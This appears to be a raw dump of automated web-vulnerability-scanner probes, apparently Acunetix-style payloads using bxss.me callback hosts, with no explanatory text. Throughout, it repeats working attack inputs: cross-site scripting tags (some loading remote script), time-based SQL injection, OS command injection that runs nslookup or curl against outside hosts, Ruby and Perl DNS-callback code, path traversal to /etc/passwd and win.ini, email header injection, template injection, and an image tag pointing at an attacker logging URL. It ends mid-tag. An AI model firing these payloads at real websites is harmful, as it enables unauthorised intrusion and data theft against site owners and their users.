/../../../../../../../../../../windows/system32/BITSADMIN.exe
response.write(9106127*9706842)
'+response.write(9106127*9706842)+'
"+response.write(9106127*9706842)+"
Mr.%0abcc:009247.1-6685.1.4c5c0.19862.2@bxss.me
Mr.<esi:include src="http://bxss.me/rpb.png"/>
to@example.com>%0d%0abcc:009247.1-6686.1.4c5c0.19862.2@bxss.me
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
Mr.'"()&%<zzz><ScRiPt >9Neu(9095)</ScRiPt>
'"()&%<zzz><ScRiPt >9Neu(9867)</ScRiPt>
bfg7994%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl7994
bfgx4795%C0%BEz1%C0%BCz2a%90bcxhjl4795
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
Mr.<ScRiPt >9Neu(9314)</ScRiPt>
Mr.<WYOKAT>TVKZ5[!+!]</WYOKAT>
Mr.<script>9Neu(9363)</script>
Mr.%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%39%4E%65%75%28%39%31%36%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
Mr.<ScRiPt
>9Neu(9127)</ScRiPt>
Mr.<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9034></ScRiPt>
Mr.<�ScRiPt
>9Neu(9746)</ScRiPt>
Mr.<svg
��onload=9Neu(9540);>
Mr.<isindex type=image src=1 onerror=9Neu(9990)>
Mr.<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9810'>
Mr.<body onload=9Neu(9690)>
Mr.<img src=//xss.bxss.me/t/dot.gif onload=9Neu(9038)>
Mr.<img src=xyz OnErRor=9Neu(9031)>
Mr.<img/src=">" onerror=alert(9561)>
%4D%72%2E%3C%53%63%52%69%50%74%20%3E%39%4E%65%75%289754%29%3C%2F%73%43%72%69%70%54%3E
Mr.\u003CScRiPt\9Neu(9397)\u003C/sCripT\u003E
Mr.<ScRiPt>9Neu(9117)</sCripT>
/../../../../../../../../../../windows/system32/BITSADMIN.exe
'+response.write(9690619*9190459)+'
"+response.write(9690619*9190459)+"
�<img zzz onmouseover=9Neu(95291) //�>
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
Mr.%0abcc:009247.1-8442.1.4c5c0.19862.2@bxss.me
HttP://bxss.me/t/xss.html?%00
"+"A".concat(70-3).concat(22*4).concat(108).concat(75).concat(107).concat(83)+(require"socket"
Socket.gethostbyname("hitdl"+"ubhloupi897ce.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(119).concat(71).concat(105).concat(66)+(require'socket'
Socket.gethostbyname('hitxx'+'zxccojwt6bc3c.bxss.me.')[3].to_s)+'
Mr.}body{zzz:Expre/**/SSion(9Neu(9796))}
Mr.'&&sleep(27*1000)*eojpyg&&'
Mr."&&sleep(27*1000)*arglhm&&"
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
Mr.EyV8O
<ScRiPt >9Neu(9618)</ScRiPt>
Mr.<WHEQTM>LMN6H[!+!]</WHEQTM>
Mr.'"()&%<zzz><ScRiPt >tVCS(9626)</ScRiPt>
Mr.<ifRAme sRc=9166.com></IfRamE>
'"()&%<zzz><ScRiPt >tVCS(9991)</ScRiPt>
Mr.<img sRc='http://attacker-9849/log.php?
bfg7370%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl7370
bfgx9436%C0%BEz1%C0%BCz2a%90bcxhjl9436
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
/../../../../../../../../../../windows/system32/BITSADMIN.exe
response.write(9555942*9995468)
'+response.write(9555942*9995468)+'
"+response.write(9555942*9995468)+"
Mr.%0abcc:009247.1-20414.1.4c5c0.19862.2@bxss.me
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
to@example.com>%0d%0abcc:009247.1-20415.1.4c5c0.19862.2@bxss.me
-1 OR 2+357-357-1=0+0+0+1 --
-1 OR 2+543-543-1=0+0+0+1
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
-1' OR 3+814-814-1=0+0+0+1 --
-1' OR 3*2<(0+5+814-814) --
-1' OR 3*2>(0+5+814-814) --
-1' OR 2+227-227-1=0+0+0+1 or '4pf5KRcE'='
echo tkzzeu$()\ dliyff\nz^xyu||a #' &echo tkzzeu$()\ dliyff\nz^xyu||a #|" &echo tkzzeu$()\ dliyff\nz^xyu||a #
Mr.<esi:include src="http://bxss.me/rpb.png"/>
-1" OR 2+310-310-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
&echo qgvddm$()\ xschjm\nz^xyu||a #' &echo qgvddm$()\ xschjm\nz^xyu||a #|" &echo qgvddm$()\ xschjm\nz^xyu||a #
|echo ilczwl$()\ ajkyiu\nz^xyu||a #' |echo ilczwl$()\ ajkyiu\nz^xyu||a #|" |echo ilczwl$()\ ajkyiu\nz^xyu||a #
(nslookup -q=cname hiteqhcncupui41202.bxss.me||curl hiteqhcncupui41202.bxss.me))
$(nslookup -q=cname hiteqaunbruvfff8d4.bxss.me||curl hiteqaunbruvfff8d4.bxss.me)
&nslookup -q=cname hitscmpbrrqucccefd.bxss.me&'\"`0&nslookup -q=cname hitscmpbrrqucccefd.bxss.me&`'
&(nslookup -q=cname hitrzzavsqevt0b269.bxss.me||curl hitrzzavsqevt0b269.bxss.me)&'\"`0&(nslookup -q=cname hitrzzavsqevt0b269.bxss.me||curl hitrzzavsqevt0b269.bxss.me)&`'
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
|(nslookup -q=cname hitytkhwcxcid68161.bxss.me||curl hitytkhwcxcid68161.bxss.me)
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
`(nslookup -q=cname hitmfkpywlsnjb7275.bxss.me||curl hitmfkpywlsnjb7275.bxss.me)`
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
;(nslookup -q=cname hitxvoqkwviql4b3f5.bxss.me||curl hitxvoqkwviql4b3f5.bxss.me)|(nslookup -q=cname hitxvoqkwviql4b3f5.bxss.me||curl hitxvoqkwviql4b3f5.bxss.me)&(nslookup -q=cname hitxvoqkwviql4b3f5.bxss.me||curl hitxvoqkwviql4b3f5.bxss.me)
1 waitfor delay '0:0:15' --
1MYdojwI'; waitfor delay '0:0:15' --
2tRJeFAH'); waitfor delay '0:0:15' --
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.
UKEQLSbA')); waitfor delay '0:0:15' --
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
http://bxss.me/t/fit.txt%3F.
Wuxjg6pj' OR 490=(SELECT 490 FROM PG_SLEEP(15))--
fqGnuK2R') OR 627=(SELECT 627 FROM PG_SLEEP(15))--
C7ctxTuM')) OR 865=(SELECT 865 FROM PG_SLEEP(15))--
Mr.'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Mr.'&&sleep(27*1000)*xigovx&&'
Mr."&&sleep(27*1000)*csiaoz&&"
Mr.'||sleep(27*1000)*iicvqm||'
Mr."||sleep(27*1000)*fidlcb||"
'.gethostbyname(lc('hitga'.'oigqeptd93f24.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(69).chr(117).chr(73).'
".gethostbyname(lc("hitdk"."iatfxbeoec30e.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(84).chr(100).chr(81)."
HttP://bxss.me/t/xss.html?%00
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
dfb__${98991*97996}__::.x
"+"A".concat(70-3).concat(22*4).concat(112).concat(70).concat(122).concat(83)+(require"socket"
Socket.gethostbyname("hitvs"+"xlmalzib44fcb.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(110).concat(86).concat(111).concat(69)+(require'socket'
Socket.gethostbyname('hitem'+'vbppnuizd07c0.bxss.me.')[3].to_s)+'
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
Mr.'"()&%<zzz><ScRiPt >jlx9(9204)</ScRiPt>
'"()&%<zzz><ScRiPt >jlx9(9154)</ScRiPt>
Mr.<ScRiPt >tVCS(9395)</ScRiPt>
bfg8426%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8426
Mr.<WWZ8QN>EGKSF[!+!]</WWZ8QN>
bfgx5489%C0%BEz1%C0%BCz2a%90bcxhjl5489
Mr.<script>tVCS(9547)</script>
Mr.%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%74%56%43%53%28%39%30%31%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
Mr.<ScRiPt
>tVCS(9447)</ScRiPt>
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
Mr.<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9207></ScRiPt>
Mr.<�ScRiPt
>tVCS(9809)</ScRiPt>
dfb__${98991*97996}__::.x
Mr.<svg
��onload=tVCS(9004);>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
Mr.<ScRiPt >jlx9(9154)</ScRiPt>
Mr.<isindex type=image src=1 onerror=tVCS(9251)>
Mr.<W8WIZS>MNC9G[!+!]</W8WIZS>
Mr.<script>jlx9(9095)</script>
Mr.%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6A%6C%78%39%28%39%31%39%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
Mr.'"()&%<zzz><ScRiPt >5MLY(9545)</ScRiPt>
'"()&%<zzz><ScRiPt >5MLY(9698)</ScRiPt>
bfg7278%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl7278
bfgx4190%C0%BEz1%C0%BCz2a%90bcxhjl4190
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
Mr.<ScRiPt >5MLY(9741)</ScRiPt>
Mr.<WLMD6S>OC1KB[!+!]</WLMD6S>
Mr.<script>5MLY(9219)</script>
Mr.%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%35%4D%4C%59%28%39%36%30%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
Mr.'"()&%<zzz><ScRiPt >7u7r(9738)</ScRiPt>
Mr.'"()&%<zzz><ScRiPt >vjYt(9065)</ScRiPt>
'"()&%<zzz><ScRiPt >vjYt(9371)</ScRiPt>
'"()&%<zzz><ScRiPt >7u7r(9787)</ScRiPt>
Mr.'"()&%<zzz><ScRiPt >2Tdv(9481)</ScRiPt>
'"()&%<zzz><ScRiPt >2Tdv(9033)</ScRiPt>
bfg10892%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10892
bfgx5756%C0%BEz1%C0%BCz2a%90bcxhjl5756
\<\%\=\{\{\=\{\@\{\#\{\$\{dfb\}\}\%\>
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
Mr.<ScRiPt >2Tdv(9073)</ScRiPt>
Mr.<WFQBOA>FPD9O[!+!]</WFQBOA>
Mr.<script>2Tdv(9500)</script>
Mr.%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%32%54%64%76%28%39%36%35%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
Mr.<ScRiPt
>2Tdv(9119)</ScRiPt>
/../../../../../../../../../../windows/system32/BITSADMIN.exe
response.write(9491647*9645281)
'+response.write(9491647*9645281)+'
"+response.write(9491647*9645281)+"
<% response.write(9491647*9645281) %>
+response.write(9491647*9645281)'
Mr.<esi:include src="http://bxss.me/rpb.png"/>
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
echo xmpmgc$()\ eqzklf\nz^xyu||a #' &echo xmpmgc$()\ eqzklf\nz^xyu||a #|" &echo xmpmgc$()\ eqzklf\nz^xyu||a #
&echo dzhoru$()\ tjonxx\nz^xyu||a #' &echo dzhoru$()\ tjonxx\nz^xyu||a #|" &echo dzhoru$()\ tjonxx\nz^xyu||a #
Mr.&echo tbocto$()\ nlegrt\nz^xyu||a #' &echo tbocto$()\ nlegrt\nz^xyu||a #|" &echo tbocto$()\ nlegrt\nz^xyu||a #
|echo xcgral$()\ oeljuo\nz^xyu||a #' |echo xcgral$()\ oeljuo\nz^xyu||a #|" |echo xcgral$()\ oeljuo\nz^xyu||a #
Mr.|echo iwuqna$()\ nrdcyr\nz^xyu||a #' |echo iwuqna$()\ nrdcyr\nz^xyu||a #|" |echo iwuqna$()\ nrdcyr\nz^xyu||a #
(nslookup -q=cname hityikdopzhta8343f.bxss.me||curl hityikdopzhta8343f.bxss.me))
$(nslookup -q=cname hitcqgctaulam088e1.bxss.me||curl hitcqgctaulam088e1.bxss.me)
&nslookup -q=cname hitbycolucnuf1a097.bxss.me&'\"`0&nslookup -q=cname hitbycolucnuf1a097.bxss.me&`'
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.
&(nslookup -q=cname hitpblsllywibd1813.bxss.me||curl hitpblsllywibd1813.bxss.me)&'\"`0&(nslookup -q=cname hitpblsllywibd1813.bxss.me||curl hitpblsllywibd1813.bxss.me)&`'
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
|(nslookup -q=cname hitnvnlcwldzwffaf3.bxss.me||curl hitnvnlcwldzwffaf3.bxss.me)
`(nslookup -q=cname hitjgetoenocvdfef2.bxss.me||curl hitjgetoenocvdfef2.bxss.me)`
http://bxss.me/t/fit.txt%3F.
;(nslookup -q=cname hitrslpiozwoc5c5d4.bxss.me||curl hitrslpiozwoc5c5d4.bxss.me)|(nslookup -q=cname hitrslpiozwoc5c5d4.bxss.me||curl hitrslpiozwoc5c5d4.bxss.me)&(nslookup -q=cname hitrslpiozwoc5c5d4.bxss.me||curl hitrslpiozwoc5c5d4.bxss.me)
|(nslookup${IFS}-q${IFS}cname${IFS}hitgltjbhqrxhebbb9.bxss.me||curl${IFS}hitgltjbhqrxhebbb9.bxss.me)
../../../../../../../../../../../../../../etc/shells
&(nslookup${IFS}-q${IFS}cname${IFS}hitmxbyotvldb68e9f.bxss.me||curl${IFS}hitmxbyotvldb68e9f.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitmxbyotvldb68e9f.bxss.me||curl${IFS}hitmxbyotvldb68e9f.bxss.me)&`'
'.gethostbyname(lc('hitme'.'ucpbrstc4be0c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(84).chr(109).chr(68).'
".gethostbyname(lc("hittz"."oqardaip5c635.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(86).chr(110).chr(89)."
gethostbyname(lc('hitnk'.'uceqpeev1bd82.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(67).chr(104).chr(77)
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Mr.'&&sleep(27*1000)*zwybhn&&'
HttP://bxss.me/t/xss.html?%00
Mr."&&sleep(27*1000)*dwangj&&"
Mr.'||sleep(27*1000)*vxwngi||'
Mr."||sleep(27*1000)*zkxexd||"
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
"+"A".concat(70-3).concat(22*4).concat(103).concat(89).concat(114).concat(69)+(require"socket"
Socket.gethostbyname("hitol"+"wcvfzjvbebe0b.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(106).concat(66).concat(105).concat(71)+(require'socket'
Socket.gethostbyname('hitpw'+'lottsmzdae991.bxss.me.')[3].to_s)+'
'A'.concat(70-3).concat(22*4).concat(109).concat(85).concat(113).concat(86)+(require'socket'
Socket.gethostbyname('hitig'+'wseuuvxt5157e.bxss.me.')[3].to_s)
Mr.'"()&%<zzz><ScRiPt >Hgdy(9557)</ScRiPt>
'"()&%<zzz><ScRiPt >Hgdy(9932)</ScRiPt>
-1 OR 2+257-257-1=0+0+0+1 --
-1 OR 2+653-653-1=0+0+0+1
bfg5218%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5218
-1' OR 2+869-869-1=0+0+0+1 --
-1' OR 2+403-403-1=0+0+0+1 or 'jLaRB7vM'='
-1" OR 2+995-995-1=0+0+0+1 --
bfgx8766%C0%BEz1%C0%BCz2a%90bcxhjl8766
if(now()=sysdate(),sleep(15),0)
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
Mr.0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
Mr.<ScRiPt >Hgdy(9056)</ScRiPt>
Mr.<WMZA1M>YCJZW[!+!]</WMZA1M>
Mr.0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
Mr.<script>Hgdy(9340)</script>
Mr.<script>Hgdy(9699)</script>9699
Mr.%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%48%67%64%79%28%39%31%38%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Mr.<ScRiPt
>Hgdy(9071)</ScRiPt>
Mr.<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9344></ScRiPt>
Mr.<�ScRiPt
>Hgdy(9222)</ScRiPt>
Mr.-1; waitfor delay '0:0:15' --
Mr.<svg
��onload=Hgdy(9429);>
Mr.<isindex type=image src=1 onerror=Hgdy(9598)>
Mr.<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9730'>
Mr.-1); waitfor delay '0:0:15' --
Mr.<body onload=Hgdy(9224)>
Mr.<img src=//xss.bxss.me/t/dot.gif onload=Hgdy(9044)>
Mr.<img src=xyz OnErRor=Hgdy(9543)>
Mr.<img/src=">" onerror=alert(9061)>
%4D%72%2E%3C%53%63%52%69%50%74%20%3E%48%67%64%79%289440%29%3C%2F%73%43%72%69%70%54%3E
Mr.-1 waitfor delay '0:0:15' --
Mr.\u003CScRiPt\Hgdy(9446)\u003C/sCripT\u003E
Mr.<ScRiPt>Hgdy(9456)</sCripT>
�<img zzz onmouseover=Hgdy(93581) //�>
Mr.UNu4WyFo'; waitfor delay '0:0:15' --
Mr.<input autofocus onfocus=Hgdy(9133)>
<a HrEF=http://xss.bxss.me></a>
Mr.}body{zzz:Expre/**/SSion(Hgdy(9724))}
Mr.6HnkM
<ScRiPt >Hgdy(9025)</ScRiPt>
Mr.sRLoE1Go'); waitfor delay '0:0:15' --
Mr.<WAZ8JD>LBY4S[!+!]</WAZ8JD>
Mr.<ifRAme sRc=9663.com></IfRamE>
Mr.4jddavoc')); waitfor delay '0:0:15' --
Mr.<img sRc='http://attacker-9674/log.php?
Mr.SFNqhIxZ' OR 374=(SELECT 374 FROM PG_SLEEP(15))--
Mr.vLWfct4o') OR 724=(SELECT 724 FROM PG_SLEEP(15))--
Mr.ZhKhYm41')) OR 391=(SELECT 391 FROM PG_SLEEP(15))--
Mr.'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
/../../../../../../../../../../windows/system32/BITSADMIN.exe
response.write(9323768*9835330)
Mr.<esi:include src="http://bxss.me/rpb.png"/>
'+response.write(9323768*9835330)+'
"+response.write(9323768*9835330)+"
../../../../../../../../../../../../../../etc/passwd
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
<% response.write(9323768*9835330) %>
../../../../../../../../../../../../../../windows/win.ini
+response.write(9323768*9835330)'
echo pejcnq$()\ zgwmxv\nz^xyu||a #' &echo pejcnq$()\ zgwmxv\nz^xyu||a #|" &echo pejcnq$()\ zgwmxv\nz^xyu||a #
&echo xyohfw$()\ jjgdvf\nz^xyu||a #' &echo xyohfw$()\ jjgdvf\nz^xyu||a #|" &echo xyohfw$()\ jjgdvf\nz^xyu||a #
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.
Mr.&echo xawwfm$()\ toxexr\nz^xyu||a #' &echo xawwfm$()\ toxexr\nz^xyu||a #|" &echo xawwfm$()\ toxexr\nz^xyu||a #
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
|echo uunjmb$()\ nkrngv\nz^xyu||a #' |echo uunjmb$()\ nkrngv\nz^xyu||a #|" |echo uunjmb$()\ nkrngv\nz^xyu||a #
Mr.|echo neowkq$()\ agnttv\nz^xyu||a #' |echo neowkq$()\ agnttv\nz^xyu||a #|" |echo neowkq$()\ agnttv\nz^xyu||a #
http://bxss.me/t/fit.txt%3F.
(nslookup -q=cname hituicslfefdfb721e.bxss.me||curl hituicslfefdfb721e.bxss.me))
$(nslookup -q=cname hitcrtzkbewbeb23b3.bxss.me||curl hitcrtzkbewbeb23b3.bxss.me)
../../../../../../../../../../../../../../etc/shells
&nslookup -q=cname hitzezukvpxgu1cc39.bxss.me&'\"`0&nslookup -q=cname hitzezukvpxgu1cc39.bxss.me&`'
&(nslookup -q=cname hitjcnpkkwjwi32afe.bxss.me||curl hitjcnpkkwjwi32afe.bxss.me)&'\"`0&(nslookup -q=cname hitjcnpkkwjwi32afe.bxss.me||curl hitjcnpkkwjwi32afe.bxss.me)&`'
'.gethostbyname(lc('hitzp'.'dqdinfcafb117.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(73).chr(117).chr(69).'
|(nslookup -q=cname hitedzqqzyhzs63acf.bxss.me||curl hitedzqqzyhzs63acf.bxss.me)
".gethostbyname(lc("hitha"."ucnssbkuae80e.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(89).chr(120).chr(89)."
`(nslookup -q=cname hittyqwbnevcuf1c81.bxss.me||curl hittyqwbnevcuf1c81.bxss.me)`
gethostbyname(lc('hitbf'.'gtnlnkmxe1fd7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(65).chr(103).chr(78)
;(nslookup -q=cname hitndobliqtxcd3c87.bxss.me||curl hitndobliqtxcd3c87.bxss.me)|(nslookup -q=cname hitndobliqtxcd3c87.bxss.me||curl hitndobliqtxcd3c87.bxss.me)&(nslookup -q=cname hitndobliqtxcd3c87.bxss.me||curl hitndobliqtxcd3c87.bxss.me)
|(nslookup${IFS}-q${IFS}cname${IFS}hitfzrkcbpaok08d24.bxss.me||curl${IFS}hitfzrkcbpaok08d24.bxss.me)
&(nslookup${IFS}-q${IFS}cname${IFS}hitvbbltlnewz79334.bxss.me||curl${IFS}hitvbbltlnewz79334.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvbbltlnewz79334.bxss.me||curl${IFS}hitvbbltlnewz79334.bxss.me)&`'
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Mr.'&&sleep(27*1000)*brjldv&&'
HttP://bxss.me/t/xss.html?%00
Mr."&&sleep(27*1000)*rccvkt&&"
Mr.'||sleep(27*1000)*bhdazs||'
"+"A".concat(70-3).concat(22*4).concat(101).concat(86).concat(106).concat(78)+(require"socket"
Socket.gethostbyname("hitcx"+"rhbihudqe2984.bxss.me.")[3].to_s)+"
Mr."||sleep(27*1000)*pvtybb||"
'+'A'.concat(70-3).concat(22*4).concat(101).concat(76).concat(108).concat(69)+(require'socket'
Socket.gethostbyname('hittw'+'gqnacrqva32ba.bxss.me.')[3].to_s)+'
'A'.concat(70-3).concat(22*4).concat(106).concat(77).concat(109).concat(81)+(require'socket'
Socket.gethostbyname('hitsn'+'fuzeyywz442e3.bxss.me.')[3].to_s)
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
Mr.'"()&%<zzz><ScRiPt >m4SL(9700)</ScRiPt>
'"()&%<zzz><ScRiPt >m4SL(9933)</ScRiPt>
bfg5124%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5124
bfgx6705%C0%BEz1%C0%BCz2a%90bcxhjl6705
-1 OR 2+712-712-1=0+0+0+1 --
-1 OR 2+239-239-1=0+0+0+1
-1' OR 2+450-450-1=0+0+0+1 --
-1' OR 2+401-401-1=0+0+0+1 or 'KLqFOit0'='
-1" OR 2+52-52-1=0+0+0+1 --
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
if(now()=sysdate(),sleep(15),0)
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
Mr.0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
Mr.<ScRiPt >m4SL(9419)</ScRiPt>
Mr.<W52LZ6>SLVY6[!+!]</W52LZ6>
Mr.<script>m4SL(9143)</script>
Mr.0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
Mr.<script>m4SL(9673)</script>9673
Mr.%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6D%34%53%4C%28%39%36%32%38%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
Mr.<ScRiPt
>m4SL(9821)</ScRiPt>
Mr.<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9548></ScRiPt>
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Mr.<�ScRiPt
>m4SL(9011)</ScRiPt>
Mr.<svg
��onload=m4SL(9520);>
Mr.<isindex type=image src=1 onerror=m4SL(9459)>
Mr.-1; waitfor delay '0:0:15' --
Mr.<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9856'>
Mr.<body onload=m4SL(9292)>
Mr.<img src=//xss.bxss.me/t/dot.gif onload=m4SL(9876)>
Mr.<img src=xyz OnErRor=m4SL(9002)>
Mr.-1); waitfor delay '0:0:15' --
Mr.<img/src=">" onerror=alert(9351)>
%4D%72%2E%3C%53%63%52%69%50%74%20%3E%6D%34%53%4C%289212%29%3C%2F%73%43%72%69%70%54%3E
Mr.\u003CScRiPt\m4SL(9409)\u003C/sCripT\u003E
Mr.-1 waitfor delay '0:0:15' --
Mr.<ScRiPt>m4SL(9326)</sCripT>
�<img zzz onmouseover=m4SL(91161) //�>
Mr.S7CQxmbu'; waitfor delay '0:0:15' --
Mr.<input autofocus onfocus=m4SL(9962)>
<a HrEF=http://xss.bxss.me></a>
Mr.}body{zzz:Expre/**/SSion(m4SL(9098))}
Mr.Ym1t75w6'); waitfor delay '0:0:15' --
Mr.hWxLJ
<ScRiPt >m4SL(9502)</ScRiPt>
Mr.<WUS5J1>CMCOQ[!+!]</WUS5J1>
Mr.<ifRAme sRc=9779.com></IfRamE>
Mr.8KHwPnqE')); waitfor delay '0:0:15' --
Mr.<img sRc='http://attacker-9320/log.php?
Mr.nHev9TU7' OR 506=(SELECT 506 FROM PG_SLEEP(15))--
Mr.GZsb6wqA') OR 204=(SELECT 204 FROM PG_SLEEP(15))--
Mr.oDYjjbrt')) OR 401=(SELECT 401 FROM PG_SLEEP(15))--
Mr.'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Mr.'"()&%<zzz><ScRiPt >B772(9046)</ScRiPt>
'"()&%<zzz><ScRiPt >B772(9121)</ScRiPt>
bfg5553%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5553
bfgx3928%C0%BEz1%C0%BCz2a%90bcxhjl3928
Mr.'"()&%<zzz><ScRiPt >H8Rx(9243)</ScRiPt>
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
'"()&%<zzz><ScRiPt >H8Rx(9964)</ScRiPt>
bfg5144%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5144
dfb__${98991*97996}__::.x
bfgx3368%C0%BEz1%C0%BCz2a%90bcxhjl3368
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
Mr.<ScRiPt >B772(9705)</ScRiPt>
Mr.<WSMJRH>XTO5V[!+!]</WSMJRH>
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
Mr.<script>B772(9706)</script>
Mr.<script>B772(9890)</script>9890
Mr.%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%42%37%37%32%28%39%30%37%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
dfb__${98991*97996}__::.x
Mr.<ScRiPt
>B772(9968)</ScRiPt>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
Mr.<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9938></ScRiPt>
Mr.<ScRiPt >H8Rx(9861)</ScRiPt>
Mr.<�ScRiPt
>B772(9161)</ScRiPt>
Mr.<WYZIV5>Z2IIW[!+!]</WYZIV5>
Mr.<svg
